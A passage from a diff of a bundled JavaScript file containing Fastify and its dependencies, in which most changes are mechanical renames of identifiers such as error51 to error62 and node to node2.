null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 +17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if 